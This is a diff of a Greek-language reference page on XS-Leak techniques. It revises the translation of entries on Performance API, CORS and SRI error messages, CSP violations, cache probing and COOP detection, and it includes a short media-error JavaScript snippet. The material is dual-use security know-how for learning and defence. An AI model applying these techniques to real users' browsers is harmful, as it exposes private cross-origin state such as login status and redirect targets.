αποκλείονται από τον XSS Auditor δεν δημιουργούν εισόδους στο Performance API, αποκαλύπτοντας μια μέθοδο μέσω της οποίας μπορεί να διαρρεύσει ευαίσθητες πληροφορίες.
|
||||
Στις Ασφαλιστικές Δηλώσεις (SA), ο XSS Auditor, αρχικά προορισμένος να αποτρέπει επιθέσεις Cross-Site Scripting (XSS), μπορεί παραδόξως να εκμεταλλευτεί για να διαρρεύσει ευαίσθητες πληροφορίες. Αν και αυτή η ενσωματωμένη λειτουργία αφαιρέθηκε από το Google Chrome (GC), είναι ακόμα παρούσα στο SA. Το 2013, οι Braun και Heiderich απέδειξαν ότι ο XSS Auditor θα μπορούσε ακούσια να αποκλείσει νόμιμα σενάρια, οδηγώντας σε ψευδώς θετικά. Βασισμένο σε αυτό, οι ερευνητές ανέπτυξαν τεχνικές για την εξαγωγή πληροφοριών και την ανίχνευση συγκεκριμένου περιεχομένου σε διασυνοριακές σελίδες, μια έννοια γνωστή ως XS-Leaks, που αναφέρθηκε αρχικά από τον Terada και αναλύθηκε από τον Heyes σε μια ανάρτηση blog. Αν και αυτές οι τεχνικές ήταν συγκεκριμένες για τον XSS Auditor στο GC, ανακαλύφθηκε ότι στο SA, οι σελίδες που αποκλείονται από τον XSS Auditor δεν δημιουργούν εισόδους στο Performance API, αποκαλύπτοντας μια μέθοδο μέσω της οποίας μπορεί να διαρρεύσει ευαίσθητες πληροφορίες.
|
||||
|
||||
### X-Frame Leak
|
||||
|
||||
@ -340,7 +340,7 @@ xs-search/connection-pool-example.md
|
||||
- **Summary:** Πόρος με επικεφαλίδα X-Frame-Options δεν δημιουργεί είσοδο χρονισμού πόρου.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
|
||||
|
||||
Αν μια σελίδα **δεν επιτρέπεται** να **αποδοθεί** σε ένα **iframe** δεν δημιουργεί **είσοδο απόδοσης**. Ως αποτέλεσμα, ένας επιτιθέμενος μπορεί να ανιχνεύσει την επικεφαλίδα απάντησης **`X-Frame-Options`**.\
|
||||
Αν μια σελίδα **δεν επιτρέπεται** να **απεικονιστεί** σε ένα **iframe** δεν δημιουργεί **είσοδο απόδοσης**. Ως αποτέλεσμα, ένας επιτιθέμενος μπορεί να ανιχνεύσει την επικεφαλίδα απάντησης **`X-Frame-Options`**.\
|
||||
Το ίδιο συμβαίνει αν χρησιμοποιήσετε μια **embed** **ετικέτα.**
|
||||
|
||||
### Download Detection
|
||||
@ -351,7 +351,7 @@ xs-search/connection-pool-example.md
|
||||
- **Summary:** Οι λήψεις δεν δημιουργούν εισόδους χρονισμού πόρων στο Performance API.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
|
||||
|
||||
Παρόμοια, με την διαρροή XS που περιγράφηκε, ένας **πόρος που κατεβάζεται** λόγω της επικεφαλίδας ContentDisposition, επίσης δεν **δημιουργεί μια είσοδο απόδοσης**. Αυτή η τεχνική λειτουργεί σε όλους τους κύριους περιηγητές.
|
||||
Παρόμοια, με τη διαρροή XS που περιγράφηκε, ένας **πόρος που κατεβάζεται** λόγω της επικεφαλίδας ContentDisposition, επίσης **δεν δημιουργεί είσοδο απόδοσης**. Αυτή η τεχνική λειτουργεί σε όλους τους κύριους περιηγητές.
|
||||
|
||||
### Redirect Start Leak
|
||||
|
||||
@ -361,7 +361,7 @@ xs-search/connection-pool-example.md
|
||||
- **Summary:** Η είσοδος χρονισμού πόρου διαρρέει τον χρόνο έναρξης μιας ανακατεύθυνσης.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
|
||||
|
||||
Βρήκαμε μια περίπτωση XS-Leak που εκμεταλλεύεται τη συμπεριφορά ορισμένων περιηγητών που καταγράφουν υπερβολικές πληροφορίες για διασυνοριακά αιτήματα. Το πρότυπο ορίζει ένα υποσύνολο χαρακτηριστικών που θα πρέπει να οριστούν σε μηδέν για διασυνοριακούς πόρους. Ωστόσο, στο **SA** είναι δυνατόν να ανιχνευθεί αν ο χρήστης **ανακατευθύνεται** από τη στοχευμένη σελίδα, ερωτώντας το **Performance API** και ελέγχοντας τα δεδομένα χρονισμού **redirectStart**.
|
||||
Βρήκαμε μια περίπτωση XS-Leak που εκμεταλλεύεται τη συμπεριφορά ορισμένων περιηγητών που καταγράφουν υπερβολικές πληροφορίες για διασυνοριακά αιτήματα. Το πρότυπο ορίζει ένα υποσύνολο χαρακτηριστικών που πρέπει να οριστούν σε μηδέν για διασυνοριακούς πόρους. Ωστόσο, στο **SA** είναι δυνατόν να ανιχνευθεί αν ο χρήστης **ανακατευθύνεται** από τη στοχευμένη σελίδα, ερωτώντας το **Performance API** και ελέγχοντας τα δεδομένα χρονισμού **redirectStart**.
|
||||
|
||||
### Duration Redirect Leak
|
||||
|
||||
@ -381,7 +381,7 @@ xs-search/connection-pool-example.md
|
||||
- **Summary:** Πόρος προστατευμένος με CORP δεν δημιουργεί εισόδους χρονισμού πόρων.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
|
||||
|
||||
Σε ορισμένες περιπτώσεις, η **είσοδος nextHopProtocol** μπορεί να χρησιμοποιηθεί ως τεχνική διαρροής. Στο GC, όταν η **επικεφαλίδα CORP** είναι ρυθμισμένη, το nextHopProtocol θα είναι **κενό**. Σημειώστε ότι το SA δεν θα δημιουργήσει καθόλου μια είσοδο απόδοσης για πόρους που έχουν ενεργοποιηθεί με CORP.
|
||||
Σε ορισμένες περιπτώσεις, η **nextHopProtocol entry** μπορεί να χρησιμοποιηθεί ως τεχνική διαρροής. Στο GC, όταν η **επικεφαλίδα CORP** είναι ρυθμισμένη, το nextHopProtocol θα είναι **κενό**. Σημειώστε ότι το SA δεν θα δημιουργήσει καθόλου μια είσοδο απόδοσης για πόρους που έχουν ενεργοποιηθεί με CORP.
|
||||
|
||||
### Service Worker
|
||||
|
||||
@ -404,12 +404,25 @@ xs-search/connection-pool-example.md
|
||||
- **Summary:** Είναι δυνατόν να ελέγξετε αν ένας πόρος αποθηκεύτηκε στην cache.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
|
||||
|
||||
Χρησιμοποιώντας το [Performance API](xs-search.md#performance-api) είναι δυνατόν να ελέγξετε αν ένας πόρος είναι cached.
|
||||
Χρησιμοποιώντας το [Performance API](xs-search.md#performance-api) είναι δυνατόν να ελέγξετε αν ένας πόρος είναι αποθηκευμένος στην cache.
|
||||
|
||||
### Network Duration
|
||||
|
||||
- **Inclusion Methods**: Fetch API
|
||||
- **Detectable Difference**: Περι
|
||||
- **Detectable Difference**: Περιεχόμενο Σελίδας
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
|
||||
- **Summary:** Είναι δυνατόν να ανακτηθεί η διάρκεια δικτύου ενός αιτήματος από το `performance` API.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
|
||||
|
||||
## Error Messages Technique
|
||||
|
||||
### Media Error
|
||||
|
||||
- **Inclusion Methods**: HTML Elements (Video, Audio)
|
||||
- **Detectable Difference**: Κωδικός Κατάστασης
|
||||
- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
|
||||
- **Summary:** Στο Firefox είναι δυνατόν να διαρρεύσει με ακρίβεια τον κωδικό κατάστασης ενός διασυνοριακού αιτήματος.
|
||||
- **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
|
||||
```javascript
|
||||
// Code saved here in case it dissapear from the link
|
||||
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
|
||||
@ -464,7 +477,7 @@ audioElement.onerror = errHandler
|
||||
- **Μέθοδοι Συμπερίληψης**: Fetch API
|
||||
- **Ανιχνεύσιμη Διαφορά**: Header
|
||||
- **Περισσότερες πληροφορίες**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
|
||||
- **Περίληψη:** Στις Δηλώσεις Ασφαλείας (SA), τα μηνύματα σφάλματος CORS εκθέτουν ακούσια το πλήρες URL των ανακατευθυνόμενων αιτημάτων.
|
||||
- **Περίληψη:** Στις Δηλώσεις Ασφαλείας (SA), τα μηνύματα σφάλματος CORS εκθέτουν ακούσια το πλήρες URL των ανακατευθύνσεων.
|
||||
- **Παράδειγμα Κώδικα**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
|
||||
|
||||
Αυτή η τεχνική επιτρέπει σε έναν επιτιθέμενο να **εξάγει τον προορισμό μιας ανακατεύθυνσης ιστότοπου διασυνοριακής προέλευσης** εκμεταλλευόμενος το πώς οι περιηγητές που βασίζονται σε Webkit χειρίζονται τα αιτήματα CORS. Συγκεκριμένα, όταν ένα **CORS-enabled request** αποστέλλεται σε έναν στόχο που εκδίδει μια ανακατεύθυνση με βάση την κατάσταση του χρήστη και ο περιηγητής στη συνέχεια απορρίπτει το αίτημα, το **πλήρες URL του στόχου της ανακατεύθυνσης** αποκαλύπτεται μέσα στο μήνυμα σφάλματος. Αυτή η ευπάθεια αποκαλύπτει όχι μόνο το γεγονός της ανακατεύθυνσης αλλά και το σημείο ανακατεύθυνσης και οποιαδήποτε **ευαίσθητα παραμέτρους ερωτήματος** μπορεί να περιέχει.
|
||||
@ -474,20 +487,20 @@ audioElement.onerror = errHandler
|
||||
- **Μέθοδοι Συμπερίληψης**: Fetch API
|
||||
- **Ανιχνεύσιμη Διαφορά**: Header
|
||||
- **Περισσότερες πληροφορίες**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
|
||||
- **Περίληψη:** Στις Δηλώσεις Ασφαλείας (SA), τα μηνύματα σφάλματος CORS εκθέτουν ακούσια το πλήρες URL των ανακατευθυνόμενων αιτημάτων.
|
||||
- **Περίληψη:** Στις Δηλώσεις Ασφαλείας (SA), τα μηνύματα σφάλματος CORS εκθέτουν ακούσια το πλήρες URL των ανακατευθύνσεων.
|
||||
- **Παράδειγμα Κώδικα**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
|
||||
|
||||
Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί **λεπτομερή μηνύματα σφάλματος** για να deduce το μέγεθος των αποκρίσεων διασυνοριακής προέλευσης. Αυτό είναι δυνατό λόγω του μηχανισμού της Ακεραιότητας Υποπόρων (SRI), ο οποίος χρησιμοποιεί την ιδιότητα ακεραιότητας για να επαληθεύσει ότι οι πόροι που ανακτώνται, συχνά από CDNs, δεν έχουν παραποιηθεί. Για να λειτουργήσει το SRI σε πόρους διασυνοριακής προέλευσης, αυτοί πρέπει να είναι **CORS-enabled**; αλλιώς, δεν υπόκεινται σε ελέγχους ακεραιότητας. Στις Δηλώσεις Ασφαλείας (SA), παρόμοια με το σφάλμα CORS XS-Leak, ένα μήνυμα σφάλματος μπορεί να καταγραφεί μετά από ένα αίτημα fetch με μια ιδιότητα ακεραιότητας που αποτυγχάνει. Οι επιτιθέμενοι μπορούν σκόπιμα να **προκαλέσουν αυτό το σφάλμα** αναθέτοντας μια **ψευδή τιμή hash** στην ιδιότητα ακεραιότητας οποιουδήποτε αιτήματος. Στην SA, το προκύπτον μήνυμα σφάλματος αποκαλύπτει ακούσια το μήκος περιεχομένου του ζητούμενου πόρου. Αυτή η διαρροή πληροφοριών επιτρέπει σε έναν επιτιθέμενο να διακρίνει παραλλαγές στο μέγεθος της απόκρισης, ανοίγοντας το δρόμο για εξελιγμένες επιθέσεις XS-Leak.
|
||||
Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί **λεπτομερή μηνύματα σφάλματος** για να deduce το μέγεθος των αποκρίσεων διασυνοριακής προέλευσης. Αυτό είναι δυνατό λόγω του μηχανισμού της Ακεραιότητας Υποπόρων (SRI), ο οποίος χρησιμοποιεί την ιδιότητα ακεραιότητας για να επαληθεύσει ότι οι πόροι που ανακτώνται, συχνά από CDNs, δεν έχουν παραποιηθεί. Για να λειτουργήσει το SRI σε πόρους διασυνοριακής προέλευσης, αυτοί πρέπει να είναι **CORS-enabled**. Διαφορετικά, δεν υπόκεινται σε ελέγχους ακεραιότητας. Στις Δηλώσεις Ασφαλείας (SA), παρόμοια με το σφάλμα CORS XS-Leak, ένα μήνυμα σφάλματος μπορεί να καταγραφεί μετά από ένα αίτημα fetch με μια ιδιότητα ακεραιότητας που αποτυγχάνει. Οι επιτιθέμενοι μπορούν σκόπιμα να **προκαλέσουν αυτό το σφάλμα** αναθέτοντας μια **ψευδή τιμή hash** στην ιδιότητα ακεραιότητας οποιουδήποτε αιτήματος. Στην SA, το προκύπτον μήνυμα σφάλματος αποκαλύπτει ακούσια το μήκος περιεχομένου του ζητούμενου πόρου. Αυτή η διαρροή πληροφοριών επιτρέπει σε έναν επιτιθέμενο να διακρίνει παραλλαγές στο μέγεθος της απόκρισης, ανοίγοντας το δρόμο για εξελιγμένες επιθέσεις XS-Leak.
|
||||
|
||||
### CSP Violation/Detection
|
||||
|
||||
- **Μέθοδοι Συμπερίληψης**: Pop-ups
|
||||
- **Ανιχνεύσιμη Διαφορά**: Status Code
|
||||
- **Ανιχνεύσιμη Διαφορά**: Κωδικός Κατάστασης
|
||||
- **Περισσότερες πληροφορίες**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
|
||||
- **Περίληψη:** Επιτρέποντας μόνο τον ιστότοπο των θυμάτων στο CSP, αν προσπαθήσουμε να ανακατευθύνουμε σε διαφορετικό τομέα, το CSP θα προκαλέσει ένα ανιχνεύσιμο σφάλμα.
|
||||
- **Παράδειγμα Κώδικα**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
|
||||
|
||||
Ένα XS-Leak μπορεί να χρησιμοποιήσει το CSP για να ανιχνεύσει αν ένας ιστότοπος διασυνοριακής προέλευσης ανακατευθύνθηκε σε διαφορετική προέλευση. Αυτή η διαρροή μπορεί να ανιχνεύσει την ανακατεύθυνση, αλλά επιπλέον, ο τομέας του στόχου της ανακατεύθυνσης διαρρέει. Η βασική ιδέα αυτής της επίθεσης είναι να **επιτρέψει τον τομέα στόχο στον ιστότοπο του επιτιθέμενου**. Μόλις εκδοθεί ένα αίτημα στον τομέα στόχο, αυτό **ανακατευθύνει** σε έναν τομέα διασυνοριακής προέλευσης. **Το CSP μπλοκάρει** την πρόσβαση σε αυτό και δημιουργεί μια **αναφορά παραβίασης που χρησιμοποιείται ως τεχνική διαρροής**. Ανάλογα με τον περιηγητή, **αυτή η αναφορά μπορεί να διαρρεύσει την τοποθεσία στόχου της ανακατεύθυνσης**.\
|
||||
Ένα XS-Leak μπορεί να χρησιμοποιήσει το CSP για να ανιχνεύσει αν ένας ιστότοπος διασυνοριακής προέλευσης ανακατευθύνθηκε σε διαφορετική προέλευση. Αυτή η διαρροή μπορεί να ανιχνεύσει την ανακατεύθυνση, αλλά επιπλέον, ο τομέας του στόχου της ανακατεύθυνσης διαρρέει. Η βασική ιδέα αυτής της επίθεσης είναι να **επιτραπεί ο τομέας στόχος στον ιστότοπο του επιτιθέμενου**. Μόλις εκδοθεί ένα αίτημα στον τομέα στόχο, αυτός **ανακατευθύνει** σε έναν τομέα διασυνοριακής προέλευσης. **Το CSP μπλοκάρει** την πρόσβαση σε αυτό και δημιουργεί μια **αναφορά παραβίασης που χρησιμοποιείται ως τεχνική διαρροής**. Ανάλογα με τον περιηγητή, **αυτή η αναφορά μπορεί να διαρρεύσει την τοποθεσία του στόχου της ανακατεύθυνσης**.\
|
||||
Οι σύγχρονοι περιηγητές δεν θα υποδείξουν το URL στο οποίο ανακατευθύνθηκε, αλλά μπορείτε ακόμα να ανιχνεύσετε ότι μια ανακατεύθυνση διασυνοριακής προέλευσης προκλήθηκε.
|
||||
|
||||
### Cache
|
||||
@ -498,7 +511,7 @@ audioElement.onerror = errHandler
|
||||
- **Περίληψη:** Καθαρίστε το αρχείο από την κρυφή μνήμη. Ανοίγει τη στοχευμένη σελίδα και ελέγχει αν το αρχείο είναι παρόν στην κρυφή μνήμη.
|
||||
- **Παράδειγμα Κώδικα:**
|
||||
|
||||
Οι περιηγητές μπορεί να χρησιμοποιούν μια κοινή κρυφή μνήμη για όλες τις ιστοσελίδες. Ανεξάρτητα από την προέλευση τους, είναι δυνατό να deduce αν μια στοχευμένη σελίδα έχει **ζητήσει ένα συγκεκριμένο αρχείο**.
|
||||
Οι περιηγητές μπορεί να χρησιμοποιούν μια κοινή κρυφή μνήμη για όλους τους ιστότοπους. Ανεξάρτητα από την προέλευσή τους, είναι δυνατόν να deduce αν μια στοχευμένη σελίδα έχει **ζητήσει ένα συγκεκριμένο αρχείο**.
|
||||
|
||||
Αν μια σελίδα φορτώνει μια εικόνα μόνο αν ο χρήστης είναι συνδεδεμένος, μπορείτε να **ακυρώσετε** τον **πόρο** (έτσι ώστε να μην είναι πλέον αποθηκευμένος στην κρυφή μνήμη αν ήταν, δείτε περισσότερες πληροφορίες), **να εκτελέσετε ένα αίτημα** που θα μπορούσε να φορτώσει αυτόν τον πόρο και να προσπαθήσετε να φορτώσετε τον πόρο **με μια κακή αίτηση** (π.χ. χρησιμοποιώντας έναν υπερβολικά μεγάλο header referer). Αν η φόρτωση του πόρου **δεν προκάλεσε κανένα σφάλμα**, είναι επειδή ήταν **αποθηκευμένος στην κρυφή μνήμη**.
|
||||
|
||||
@ -507,7 +520,7 @@ audioElement.onerror = errHandler
|
||||
- **Μέθοδοι Συμπερίληψης**: Frames
|
||||
- **Ανιχνεύσιμη Διαφορά**: Header
|
||||
- **Περισσότερες πληροφορίες**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
|
||||
- **Περίληψη:** Οι κατευθυντήριες γραμμές CSP header μπορούν να ερευνηθούν χρησιμοποιώντας την ιδιότητα iframe CSP, αποκαλύπτοντας λεπτομέρειες πολιτικής.
|
||||
- **Περίληψη:** Οι κατευθυντήριες γραμμές του CSP header μπορούν να ερευνηθούν χρησιμοποιώντας την ιδιότητα iframe του CSP, αποκαλύπτοντας λεπτομέρειες πολιτικής.
|
||||
- **Παράδειγμα Κώδικα**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
|
||||
|
||||
Μια νέα δυνατότητα στο Google Chrome (GC) επιτρέπει στις ιστοσελίδες να **προτείνουν μια Πολιτική Ασφαλείας Περιεχομένου (CSP)** ορίζοντας μια ιδιότητα σε ένα στοιχείο iframe, με τις κατευθυντήριες γραμμές πολιτικής να μεταδίδονται μαζί με το HTTP αίτημα. Κανονικά, το ενσωματωμένο περιεχόμενο πρέπει να **εξουσιοδοτήσει αυτό μέσω ενός HTTP header**, ή να **εμφανιστεί μια σελίδα σφάλματος**. Ωστόσο, αν το iframe διέπεται ήδη από μια CSP και η νέα προτεινόμενη πολιτική δεν είναι πιο περιοριστική, η σελίδα θα φορτωθεί κανονικά. Αυτός ο μηχανισμός ανοίγει ένα μονοπάτι για έναν επιτιθέμενο να **ανιχνεύσει συγκεκριμένες κατευθυντήριες γραμμές CSP** μιας σελίδας διασυνοριακής προέλευσης αναγνωρίζοντας τη σελίδα σφάλματος. Αν και αυτή η ευπάθεια σημειώθηκε ως διορθωμένη, τα ευρήματά μας αποκαλύπτουν μια **νέα τεχνική διαρροής** ικανή να ανιχνεύσει τη σελίδα σφάλματος, υποδεικνύοντας ότι το υποκείμενο πρόβλημα δεν είχε ποτέ πλήρως αντιμετωπιστεί.
|
||||
@ -517,10 +530,10 @@ audioElement.onerror = errHandler
|
||||
- **Μέθοδοι Συμπερίληψης**: Fetch API
|
||||
- **Ανιχνεύσιμη Διαφορά**: Header
|
||||
- **Περισσότερες πληροφορίες**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
|
||||
- **Περίληψη:** Οι πόροι που ασφαλίζονται με την Πολιτική Πόρων Διασυνοριακής Προέλευσης (CORP) θα προκαλέσουν σφάλμα όταν ανακτηθούν από μια μη επιτρεπόμενη προέλευση.
|
||||
- **Περίληψη:** Οι πόροι που προστατεύονται με την Πολιτική Πόρων Διασυνοριακής Προέλευσης (CORP) θα προκαλέσουν σφάλμα όταν ανακτηθούν από μια μη επιτρεπόμενη προέλευση.
|
||||
- **Παράδειγμα Κώδικα**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
|
||||
|
||||
Η κεφαλίδα CORP είναι μια σχετικά νέα δυνατότητα ασφάλειας της διαδικτυακής πλατφόρμας που όταν ρυθμιστεί **μπλοκάρει τις αιτήσεις διασυνοριακής προέλευσης χωρίς CORS για τον δεδομένο πόρο**. Η παρουσία της κεφαλίδας μπορεί να ανιχνευθεί, επειδή ένας πόρος που προστατεύεται με CORP θα **ρίξει ένα σφάλμα όταν ανακτηθεί**.
|
||||
Η κεφαλίδα CORP είναι μια σχετικά νέα δυνατότητα ασφάλειας της διαδικτυακής πλατφόρμας που όταν οριστεί **μπλοκάρει τις αιτήσεις διασυνοριακής προέλευσης χωρίς CORS για τον δεδομένο πόρο**. Η παρουσία της κεφαλίδας μπορεί να ανιχνευθεί, επειδή ένας πόρος που προστατεύεται με CORP θα **ρίξει ένα σφάλμα όταν ανακτηθεί**.
|
||||
|
||||
### CORB
|
||||
|
||||
@ -537,7 +550,7 @@ audioElement.onerror = errHandler
|
||||
- **Μέθοδοι Συμπερίληψης**: Fetch API
|
||||
- **Ανιχνεύσιμη Διαφορά**: Headers
|
||||
- **Περισσότερες πληροφορίες**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
||||
- **Περίληψη**: Αν η κεφαλίδα Origin ανακλάται στην κεφαλίδα `Access-Control-Allow-Origin`, είναι δυνατό να ελέγξετε αν ένας πόρος είναι ήδη στην κρυφή μνήμη.
|
||||
- **Περίληψη**: Αν η κεφαλίδα Origin ανακλάται στην κεφαλίδα `Access-Control-Allow-Origin`, είναι δυνατόν να ελέγξετε αν ένας πόρος είναι ήδη στην κρυφή μνήμη.
|
||||
- **Παράδειγμα Κώδικα**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
||||
|
||||
Σε περίπτωση που η **κεφαλίδα Origin** ανακλάται στην κεφαλίδα `Access-Control-Allow-Origin`, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτή τη συμπεριφορά για να προσπαθήσει να **ανακτήσει** τον **πόρο** σε **CORS** λειτουργία. Αν δεν προκληθεί **σφάλμα**, σημαίνει ότι ανακτήθηκε **σωστά από το διαδίκτυο**, αν προκληθεί σφάλμα, είναι επειδή **προσεγγίστηκε από την κρυφή μνήμη** (το σφάλμα εμφανίζεται επειδή η κρυφή μνήμη αποθηκεύει μια απόκριση με μια κεφαλίδα CORS που επιτρέπει τον αρχικό τομέα και όχι τον τομέα του επιτιθέμενου).\
|
||||
@ -548,12 +561,12 @@ audioElement.onerror = errHandler
|
||||
### Fetch Redirect
|
||||
|
||||
- **Μέθοδοι Συμπερίληψης**: Fetch API
|
||||
- **Ανιχνεύσιμη Διαφορά**: Status Code
|
||||
- **Ανιχνεύσιμη Διαφορά**: Κωδικός Κατάστασης
|
||||
- **Περισσότερες πληροφορίες**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
|
||||
- **Περίληψη:** GC και SA επιτρέπουν να ελέγξετε τον τύπο της απόκρισης (opaque-redirect) αφού ολοκληρωθεί η ανακατεύθυνση.
|
||||
- **Περίληψη:** GC και SA επιτρέπουν να ελέγξετε τον τύπο της απόκρισης (opaque-redirect) μετά την ολοκλήρωση της ανακατεύθυνσης.
|
||||
- **Παράδειγμα Κώδικα**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
|
||||
|
||||
Υποβάλλοντας ένα αίτημα χρησιμοποιώντας το Fetch API με `redirect: "manual"` και άλλες παραμέτρους, είναι δυνατό να διαβάσετε την ιδιότητα `response.type` και αν είναι ίση με `opaqueredirect`, τότε η απόκριση ήταν μια ανακατεύθυνση.
|
||||
Υποβάλλοντας ένα αίτημα χρησιμοποιώντας το Fetch API με `redirect: "manual"` και άλλες παραμέτρους, είναι δυνατόν να διαβάσετε την ιδιότητα `response.type` και αν είναι ίση με `opaqueredirect`, τότε η απόκριση ήταν μια ανακατεύθυνση.
|
||||
|
||||
### COOP
|
||||
|
||||
@ -563,19 +576,19 @@ audioElement.onerror = errHandler
|
||||
- **Περίληψη:** Σελίδες που προστατεύονται από την Πολιτική Ανοίγματος Διασυνοριακής Προέλευσης (COOP) αποτρέπουν την πρόσβαση από διασυνοριακές αλληλεπιδράσεις.
|
||||
- **Παράδειγμα Κώδικα**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
|
||||
|
||||
Ένας επιτιθέμενος είναι ικανός να deduce την παρουσία της κεφαλίδας Πολιτικής Ανοίγματος Διασυνοριακής Προέλευσης (COOP) σε μια απόκριση HTTP διασυνοριακής προέλευσης. Η COOP χρησιμοποιείται από διαδικτυακές εφαρμογές για να εμποδίσει εξωτερικούς ιστότοπους να αποκτούν αυθαίρετες αναφορές παραθύρων. Η ορατότητα αυτής της κεφαλίδας μπορεί να διακριθεί προσπαθώντας να αποκτήσετε την αναφορά **`contentWindow`**. Σε σενάρια όπου η COOP εφαρμόζεται υπό όρους, η **ιδιότητα `opener`** γίνεται ένας προειδοποιητικός δείκτης: είναι **undefined** όταν η COOP είναι ενεργή και **defined** στην απουσία της.
|
||||
Ένας επιτιθέμενος είναι ικανός να deduce την παρουσία της κεφαλίδας Πολιτικής Ανοίγματος Διασυνοριακής Προέλευσης (COOP) σε μια απόκριση HTTP διασυνοριακής προέλευσης. Η COOP χρησιμοποιείται από τις διαδικτυακές εφαρμογές για να εμποδίσει εξωτερικούς ιστότοπους να αποκτούν αυθαίρετες αναφορές παραθύρων. Η ορατότητα αυτής της κεφαλίδας μπορεί να διακριθεί προσπαθώντας να αποκτήσετε την αναφορά **`contentWindow`**. Σε σενάρια όπου η COOP εφαρμόζεται υπό προϋποθέσεις, η **ιδιότητα `opener`** γίνεται ένας προειδοποιητικός δείκτης: είναι **undefined** όταν η COOP είναι ενεργή και **defined** στην απουσία της.
|
||||
|
||||
### URL Max Length - Server Side
|
||||
|
||||
- **Μέθοδοι Συμπερίληψης**: Fetch API, HTML Elements
|
||||
- **Ανιχνεύσιμη Διαφορά**: Status Code / Περιεχόμενο
|
||||
- **Ανιχνεύσιμη Διαφορά**: Κωδικός Κατάστασης / Περιεχόμενο
|
||||
- **Περισσότερες πληροφορίες**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
|
||||
- **Περίληψη:** Ανιχνεύστε διαφορές στις αποκρίσεις επειδή το μήκος της απόκρισης ανακατεύθυνσης μπορεί να είναι πολύ μεγάλο ώστε ο διακομιστής να απαντήσει με σφάλμα και να δημιουργηθεί μια ειδοποίηση.
|
||||
- **Περίληψη:** Ανιχνεύστε διαφορές στις αποκρίσεις επειδή το μήκος της απόκρισης ανακατεύθυνσης μπορεί να είναι πολύ μεγάλο ώστε ο διακομιστής να επαναλάβει με σφάλμα και να δημιουργηθεί μια ειδοποίηση.
|
||||
- **Παράδειγμα Κώδικα**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
|
||||
|
||||
